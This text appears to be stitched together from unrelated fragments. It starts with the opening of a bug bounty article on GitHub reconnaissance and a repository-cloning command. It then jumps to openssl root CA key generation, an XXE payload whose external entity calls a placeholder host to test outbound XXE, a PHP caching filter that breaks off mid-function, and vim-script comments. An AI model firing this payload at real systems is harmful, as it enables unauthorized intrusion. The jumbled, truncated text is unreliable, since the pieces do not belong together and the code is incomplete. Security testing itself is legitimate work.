Kim Syversen kimsyversen

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output

Create Root CA (Done once)

Create Root Key

Attention: this is the key used to sign the certificate requests, anyone holding this can sign certificates on your behalf. So keep it in a safe place!

openssl genrsa -des3 -out rootCA.key 4096

	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>

	App::before(function($request)
	{
	$key = Str::slug($request->url());
	if(Cache::has($key)) return Cache::get($key);
	});


	App::after(function($request, $response)
	{
	$key = Str::slug($request->url());

	" copy all this into a vim buffer, save it, then...
	" source the file by typing :so %
	" Now the vim buffer acts like a specialized application for mastering vim

	" There are two queues, Study and Known. Depending how confident you feel
	" about the item you are currently learning, you can move it down several
	" positions, all the way to the end of the Study queue, or to the Known
	" queue.

	" type ,, (that's comma comma)